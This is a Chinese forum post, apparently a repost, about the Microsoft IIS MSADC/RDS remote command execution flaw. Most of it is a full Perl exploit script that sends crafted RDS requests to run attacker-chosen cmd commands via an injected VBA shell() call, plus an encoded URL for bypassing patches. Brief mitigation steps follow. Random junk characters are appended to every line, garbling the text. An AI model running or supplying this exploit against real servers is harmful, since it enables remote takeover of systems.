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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 28,HZaXhc  
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涉及程序: }Tk*?tYt  
Microsoft NT server +Kg3qS"  
e]d\S] 5  
描述: k*T&>$k}^  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "CT`]:GGK  
qQ<7+z<4KP  
详细: ]n|lHZR  
如果你没有时间读详细内容的话,就删除: ,6\oT;G  
c:\Program Files\Common Files\System\Msadc\msadcs.dll y{qKb:~wv  
有关的安全问题就没有了。 qB=%8$J  
NEMC  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 $5yH8JU  
D|5Fo'O^AV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 k$K>ml/h  
关于利用ODBC远程漏洞的描述,请参看: YcuHYf5  
k{C|{m  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )0@&pEObm  
^$\#aTyFK  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 {[FJkP2l  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8F`799[p  
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这里不再论述。 yCye3z.  
\E:l E/y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 2W`<P2IA  
{&Sr<d5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q%RI;;YyA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \M-$|04Qt  
LfS]m>>e  
=Cr F(wVO"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" wo!;Bxo N  
yNmzRH u  
#!perl vn=0=(  
# @$d_JwI  
# MSADC/RDS 'usage' (aka exploit) script X1~ B  
# a{8g9a4  
# by rain.forest.puppy {nmBIk2v  
# x\XOtjJr  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me lF1ieg"i M  
# beta test and find errors! 0f|nI8,z  
ig,v6lqhM  
use Socket; use Getopt::Std; $t$YdleIH  
getopts("e:vd:h:XR", \%args); xYWg1e$k  
E./Gt.Na  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; J"RmV@|  
\rf2O s  
if (!defined $args{h} && !defined $args{R}) { C")NN s =  
print qq~ yE),GJ-m\<  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Q" an6ht|  
-h <host> = host you want to scan (ip or domain) l 7=WO#Pb  
-d <seconds> = delay between calls, default 1 second 5oI gxy  
-X = dump Index Server path table, if available HvVS<Ke  
-v = verbose 9 l9|w4YJs  
-e = external dictionary file for step 5 z}m)u  
Ni 5Su  
Or a -R will resume a command session L%O( I  
oT27BK26?h  
~; exit;} S~LT Lv:>  
#AUz.WHD  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  ~/kx  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -J=N  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} vy330SQPo  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); QZ51}i  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q!zsGf {  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -{XXU)Z  
' fm}&0  
if (!defined $args{R}){ $ret = &has_msadc; Syj7K*,%bZ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 14v,z;HXj  
YV0K&d  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" pI|H9  
. "cmd /c "; BWN[>H %S  
$in=<STDIN>; chomp $in; S7 Tem:/  
$command="cmd /c " . $in ; (Q09$  
FO5'<G-  
if (defined $args{R}) {&load; exit;} !EQMTF=(  
+b]+5!  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <+c6CM$#}V  
&try_btcustmr; 7&z`N^dz{  
B}y-zj; T  
print "\nStep 2: Trying to make our own DSN..."; 9>"To  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; kdry a  
f#9\&-h e0  
print "\nStep 3: Trying known DSNs..."; 5#U*vGVT  
&known_dsn; lE?F Wt  
,HQaS9vBQ  
print "\nStep 4: Trying known .mdbs..."; c);(+b  
&known_mdb; &t\KKsUtd  
{r!X W  
if (defined $args{e}){ BK1Aq3*)  
print "\nStep 5: Trying dictionary of DSN names..."; D 4\T`j:  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } i`1QR@11  
G6b\4}E  
print "Sorry Charley...maybe next time?\n"; <v)Ai;l,  
exit;  !mX 2  
_ADK8a6%)  
############################################################################## pPdOw K#  
~\z\f} w  
sub sendraw { # ripped and modded from whisker LAwl9YnG:  
sleep($delay); # it's a DoS on the server! At least on mine... "3i=kvdz  
my ($pstr)=@_; S?5z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g2<xr;<t^  
die("Socket problems\n"); Px)/`'D  
if(connect(S,pack "SnA4x8",2,80,$target)){ v&EHp{8Qd  
select(S); $|=1; 3Yd)Fm  
print $pstr; my @in=<S>; H+>l][  
select(STDOUT); close(S); ? N|B,F  
return @in; i }5 #n  
} else { die("Can't connect...\n"); }} f}'E|:Z 7k  
@edi6b1W  
############################################################################## :h&*<!O2B`  
{]}}rx'|P  
sub make_header { # make the HTTP request l%^'K%'b  
my $msadc=<<EOT :hp=>^$Y  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 /L1qdkG  
User-Agent: ACTIVEDATA WBA0! g98  
Host: $ip F:CqB|  
Content-Length: $clen dB`YvKr#  
Connection: Keep-Alive P==rY5+s`  
;,y9  
ADCClientVersion:01.06 zA![c l>$  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 EnrRnVB  
RJ%~=D  
--!ADM!ROX!YOUR!WORLD! 5UwaBPj4  
Content-Type: application/x-varg By 8C-jD  
Content-Length: $reqlen ^L;`F  
(,E.1j]ji  
EOT LV&tu7c  
; $msadc=~s/\n/\r\n/g; .jh uC#x{/  
return $msadc;} #GYCU!  
PT|W{RlNl  
############################################################################## $zTjh~ 9  
L`ZH.fN  
sub make_req { # make the RDS request wL2d.$?TEg  
my ($switch, $p1, $p2)=@_; W)F2X0D>  
my $req=""; my $t1, $t2, $query, $dsn; Vl!Z|}z  
~mtL\!vaM  
if ($switch==1){ # this is the btcustmr.mdb query L44-: 3  
$query="Select * from Customers where City=" . make_shell(); a<[@p  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . <8Qa"<4f;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _AQ :<0/#  
:CN,I!:  
elsif ($switch==2){ # this is general make table query AG#5_0]P~  
$query="create table AZZ (B int, C varchar(10))"; =S-'*F  
$dsn="$p1";} 5vL]Y)l  
oU m"qt_  
elsif ($switch==3){ # this is general exploit table query i8nCTW  
$query="select * from AZZ where C=" . make_shell(); \)ac,i@fy  
$dsn="$p1";} ?EeHeN_  
`?Wak =]g  
elsif ($switch==4){ # attempt to hork file info from index server NwmO[pt+  
$query="select path from scope()"; V&DS+'P  
$dsn="Provider=MSIDXS;";} ' hL\xf{  
p3*}!ez4  
elsif ($switch==5){ # bad query gJ>?<F;  
$query="select"; O1@xF9<  
$dsn="$p1";} X+{4,?04+  
3_IuK 6K2  
$t1= make_unicode($query); }@V(y9K  
$t2= make_unicode($dsn); #`/KF_a3\>  
$req = "\x02\x00\x03\x00"; 5isejR{r  
$req.= "\x08\x00" . pack ("S1", length($t1));  7[55  
$req.= "\x00\x00" . $t1 ; Ku_`F2Q  
$req.= "\x08\x00" . pack ("S1", length($t2)); 77OH.E|$  
$req.= "\x00\x00" . $t2 ; ,k/*f+t  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; p~28?lYv  
return $req;} -lyT8qZ:(  
4.7ePbk[E  
############################################################################## pd,5.d  
kzGD *  
sub make_shell { # this makes the shell() statement fw_V'l#\  
return "'|shell(\"$command\")|'";} `ejE)VL=8h  
2_0OSbFv'P  
############################################################################## pHY~_^B4&  
a[)in ,3  
sub make_unicode { # quick little function to convert to unicode 'u$$scGt  
my ($in)=@_; my $out; l?B\TA^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } . #;ZM[v  
return $out;} 0vUX^<  
&?*M+q34  
############################################################################## GLL,  
=_8  
sub rdo_success { # checks for RDO return success (this is kludge) KLs%{'[7:  
my (@in) = @_; my $base=content_start(@in); "-vm=d~\  
if($in[$base]=~/multipart\/mixed/){ }}Eko7'^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} j%b/1@I  
return 0;} OGrVy=rd  
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############################################################################## #P- S.b  
ow ~(k5k:  
sub make_dsn { # this makes a DSN for us _ EHr?b2  
my @drives=("c","d","e","f"); Y ,B0=}  
print "\nMaking DSN: "; ,'F;s:WM,  
foreach $drive (@drives) { kVQKP  U  
print "$drive: "; x+"~-KO8q$  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !tFs(![  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" vKDRjrF-  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Se* GR"Z+  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; sW#6B+5_k  
return 0 if $2 eq "404"; # not found/doesn't exist W=o90TwbN  
if($2 eq "200") { }V?SedsY  
foreach $line (@results) { ~j mHzF kQ  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ld4QhZia  
} return 0;} I1 j-Q8  
R\MM2_I  
############################################################################## N/Z3 EF_  
A--Hg-N|  
sub verify_exists { J(h=@cw  
my ($page)=@_; 9~<HTH  
my @results=sendraw("GET $page HTTP/1.0\n\n"); d> `9!)  
return $results[0];} ?I`']|I  
kh 1 7  
############################################################################## ~ DVAk|fc  
g% #" 5Kr  
sub try_btcustmr { >tqLwC."'  
my @drives=("c","d","e","f"); 2IqsBK`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w:Tz&$&Y$  
WtFv"$V  
foreach $dir (@dirs) { $Dd IY}  
print "$dir -> "; # fun status so you can see progress s<xD$K~rM  
foreach $drive (@drives) { Wj/.rG&tE  
print "$drive: "; # ditto $k V^[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KDuM;  
$reqlenlen=length( "$reqlen" ); "N"9PTX  
$clen= 206 + $reqlenlen + $reqlen; S-npJh 6  
sE-E\+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <u*~RYA2  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 'd^U!l  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X26gl 'U  
%w,  
############################################################################## EMmNlj6  
y1(smZU  
sub odbc_error { o';sHa'  
my (@in)=@_; my $base; 7:I` ~ @m  
my $base = content_start(@in); ;-lk#D?n9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this +L!-JrYHS4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \('8 _tqI"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y>{K2#k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  RN'|./N  
return $in[$base+4].$in[$base+5].$in[$base+6];} |%g^6RN  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; A /,7%bB1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . wZ,9~P 7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ^vLHs=<  
ot]E\g+!  
############################################################################## .KGW#Qk8  
/ ,f*IdB  
sub verbose { DHW;*A-  
my ($in)=@_; DT8|2"H  
return if !$verbose; KO<Yc`Fs  
print STDOUT "\n$in\n";} H ZIJKk(  
3lqR(Hh3  
############################################################################## V{O,O,*  
.%h.b6^  
sub save { B9/x?Jv1  
my ($p1, $p2, $p3, $p4)=@_; Di<KRg1W]}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; * 'WzIk2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; X5cl'J(j9  
close OUT;} bBc<yaN  
>lU[ lf+/  
############################################################################## 4iBp!k7  
KY<>S/  
sub load { B@Ez,u5  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 29 L~SMf  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 7@$Hua,GY  
@p=<IN>; close(IN); |Ma"B4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); E5UI  
$target= inet_aton($ip) || die("inet_aton problems"); Xa.Qt.C  
print "Resuming to $ip ..."; ji="vs=y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~&[Wqn@MZ  
if($p[1]==1) { **d3uc4y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; d,CtlWp  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; N Q_H-D\,  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); }xn\.M:ic  
if (rdo_success(@results)){print "Success!\n";} "D'A7DA  
else { print "failed\n"; verbose(odbc_error(@results));}} K3$83%E  
elsif ($p[1]==3){ z*.4Y  
if(run_query("$p[3]")){ #Sr_PEo _  
print "Success!\n";} else { print "failed\n"; }} -LJbx<'  
elsif ($p[1]==4){ I#zrz3WU  
if(run_query($drvst . "$p[3]")){ TggM/ @k  
print "Success!\n"; } else { print "failed\n"; }} IExo#\0'6  
exit;} SEq_37  
:D8V*F6P  
############################################################################## ='q:Io?T  
2i;G3"\  
sub create_table { 8C#R  
my ($in)=@_; sWP5=t(i+9  
$reqlen=length( make_req(2,$in,"") ) - 28; Gy hoo'<  
$reqlenlen=length( "$reqlen" ); tI|?k(D  
$clen= 206 + $reqlenlen + $reqlen; K4YpE}]u  
my @results=sendraw(make_header() . make_req(2,$in,"")); 'due'|#^  
return 1 if rdo_success(@results); Dj'aWyW'  
my $temp= odbc_error(@results); verbose($temp); \?{nP6=  
return 1 if $temp=~/Table 'AZZ' already exists/; ?~$0;5)QC  
return 0;} )Ge.1B$8h  
TYGUB%A  
############################################################################## V.vA~a  
qvy~b  
sub known_dsn { cu5Yvp  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "jH=O(37  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", OW- [#r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1-r# v  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); L!Iu\_{q  
.p  NWd  
foreach $dSn (@dsns) { Fd*)1FQKT  
print "."; $73 7oV<  
next if (!is_access("DSN=$dSn")); :^tw!U%y1  
if(create_table("DSN=$dSn")){ ce{(5IC  
print "$dSn successful\n"; m_\w)  
if(run_query("DSN=$dSn")){ >KmOTM< {  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 97lM*7h;  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8Eyi`~cAiH  
T$5u+4>"  
############################################################################## y Q-&+16^  
\ce (/I   
sub is_access { `[p*qsp_  
my ($in)=@_; _]a8lr+_-  
$reqlen=length( make_req(5,$in,"") ) - 28; ;,![Lar5L  
$reqlenlen=length( "$reqlen" ); T&c0j(  
$clen= 206 + $reqlenlen + $reqlen; /L\ ]t  
my @results=sendraw(make_header() . make_req(5,$in,"")); =T;>$&qs  
my $temp= odbc_error(@results); D0 Yl?LU3  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 55MrsiW  
return 0;} u[q1]]   
l2QO\O I9m  
############################################################################## ]fvU}4!  
$_CE!_G&)  
sub run_query { =p,+a/*  
my ($in)=@_; rVgz+'rFD[  
$reqlen=length( make_req(3,$in,"") ) - 28; aT1T.3 a  
$reqlenlen=length( "$reqlen" ); 9otA5I^v  
$clen= 206 + $reqlenlen + $reqlen; e6f:@ O?  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~G|un}g=  
return 1 if rdo_success(@results); SN+B8*!  
my $temp= odbc_error(@results); verbose($temp); bCr) 3,  
return 0;} _xT=AF9~o  
S*-n%D0q5  
############################################################################## ,e{(r0  
83~ Gu[  
sub known_mdb { <`,pyvR Kv  
my @drives=("c","d","e","f","g"); @RGVcfCG)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); H=Rqr  
my $dir, $drive, $mdb; PPSf8-MLW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9v>BP`Mg  
g^ZsV:D  
# this is sparse, because I don't know of many eYZ{mo7  
my @sysmdbs=( "\\catroot\\icatalog.mdb", hbRDM'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", hfT HP  
"\\system32\\certmdb.mdb", ~L$B]\/A5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% _i{$5JJ+K2  
y`O !,kW  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }1E'a>^|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", P=PcO>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |g<1n  
"\\cfusion\\cfapps\\security\\realm_.mdb", }#}IR5`=E  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |M]#D0v  
"\\cfusion\\database\\cfexamples.mdb", wv0d"PKTS  
"\\cfusion\\database\\cfsnippets.mdb", SFCKD/8  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", to{/@^ D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", eQ _dO]Q  
"\\cfusion\\brighttiger\\database\\cleam.mdb", sf )ojq6s  
"\\cfusion\\database\\smpolicy.mdb", eAKK uML  
"\\cfusion\\database\cypress.mdb", R|aA6} /I  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", n!=%MgF'*p  
"\\website\\cgi-win\\dbsample.mdb", PhF.\W b  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eFDhJ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1cPm $=B  
); #these are just jY>|>]4X  
foreach $drive (@drives) { ?&$??r^i  
foreach $dir (@dirs){ V?AHj<  
foreach $mdb (@sysmdbs) { >^}nk04  
print "."; !R*%F  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ i(R&Q;{E^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; q] g'rO'  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vJ5`:4n"  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; +p6cG\Gp  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (qd$wv^ h  
[=M0%"  
foreach $drive (@drives) { lg` Qi&  
foreach $mdb (@mdbs) { >;V ? s]  
print "."; #U45H.Rz  
if(create_table($drv . $drive . $dir . $mdb)){ @V{s'V   
print "\n" . $drive . $dir . $mdb . " successful\n"; Tdtn-  
if(run_query($drv . $drive . $dir . $mdb)){ Y@x }b{3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HDqPqrWm  
} else { print "Something's borked. Use verbose next time\n"; }}}} fFP>$  
} T \%{zz_(  
s`"o-w\$>  
############################################################################## [DrG;k?  
Ei!t#'*D<  
sub hork_idx { vzD3_ ?D  
print "\nAttempting to dump Index Server tables...\n"; Q` mw2$zv  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3`sM/BoA  
$reqlen=length( make_req(4,"","") ) - 28; F02S(WWo;  
$reqlenlen=length( "$reqlen" ); b]S4\BBT  
$clen= 206 + $reqlenlen + $reqlen;  .b] 32Ww  
my @results=sendraw2(make_header() . make_req(4,"","")); W+k`^A|@  
if (rdo_success(@results)){ w5*?P4P  
my $max=@results; my $c; my %d; P<P4*cOV  
for($c=19; $c<$max; $c++){ Z-(#}(HD  
$results[$c]=~s/\x00//g; ,Q|[Yr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]~S,K}T  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }p-<+sFo  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; mXZOkx{  
$d{"$1$2"}="";} @Dc?fyY*o<  
foreach $c (keys %d){ print "$c\n"; } \2cbZQx  
} else {print "Index server doesn't seem to be installed.\n"; }} jP'.a. ^o$  
wI'8B{[  
############################################################################## :NB|r  
|lH~nU.*  
sub dsn_dict { A*l(0`aWq  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); v_Om3i9$E  
while(<IN>){ +zodkB~)  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; K"'W4bO#7  
next if (!is_access("DSN=$dSn")); &8!* u3  
if(create_table("DSN=$dSn")){ c%1 <O!c  
print "$dSn successful\n"; *&p`8:  
if(run_query("DSN=$dSn")){ zTi %j$o  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;)Rvk&J5  
print "Something's borked. Use verbose next time\n";}}} |k5uVhN  
print "\n"; close(IN);} d{_tOj$  
Oi{X \Y  
############################################################################## y Q\K;  
{l&6= z  
sub sendraw2 { # ripped and modded from whisker N<wy"N{iS  
sleep($delay); # it's a DoS on the server! At least on mine... zt/p' khP3  
my ($pstr)=@_; @91Q=S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #6g-{OBv  
die("Socket problems\n"); :`BZ,j_  
if(connect(S,pack "SnA4x8",2,80,$target)){ b_ 88o-*/  
print "Connected. Getting data"; m~s.al(G91  
open(OUT,">raw.out"); my @in; &.k'Dj2hf  
select(S); $|=1; print $pstr; |~mq+:44+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} I#(D.\P  
close(OUT); select(STDOUT); close(S); return @in; yjCY2T E  
} else { die("Can't connect...\n"); }} PMr {BS  
S-^y;#=  
############################################################################## q^}QwJw  
|RT#ZMJek  
sub content_start { # this will take in the server headers 0:-i  
my (@in)=@_; my $c; )W^Wqa8mG|  
for ($c=1;$c<500;$c++) { ,aI 6P-  
if($in[$c] =~/^\x0d\x0a/){ s=`1wkh0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }9T$XF~  
else { return $c+1; }}} G'c!82;,?  
return -1;} # it should never get here actually ]p3hq1u3&  
U85t !U  
############################################################################## NJ8QI(^"  
2^ 'X  
sub funky { ;OW`(jC  
my (@in)=@_; my $error=odbc_error(@in); yC. ve;lG  
if($error=~/ADO could not find the specified provider/){ 4xLU15C  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3\eb:-B:@  
exit;} iN%\wkx*N  
if($error=~/A Handler is required/){ x#yL&+'?Mj  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]9z{ 95  
exit;} ;c73:'e  
if($error=~/specified Handler has denied Access/){ f:L%th  
print "\nServer has custom handler filters (they most likely are patched)\n"; uiq)?XUKv  
exit;}} i|u3Qt5  
.v [8ie  
############################################################################## Te?UQX7Z}M  
b;\qF&T  
sub has_msadc { eK\ O>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \ ?['pB  
my $base=content_start(@results); cWIX!tc8  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); kQlXcR  
return 0;} "dwx;E  
=]x FHw8A  
######################## <rc3&qmd  
P\bW kp0  
<~# ZtD$G  
解决方案: `+]9+:tS  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )_!t9gn*wr  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 (_-<3)q4  
w C]yE\P1  
拿出来充数 哈哈
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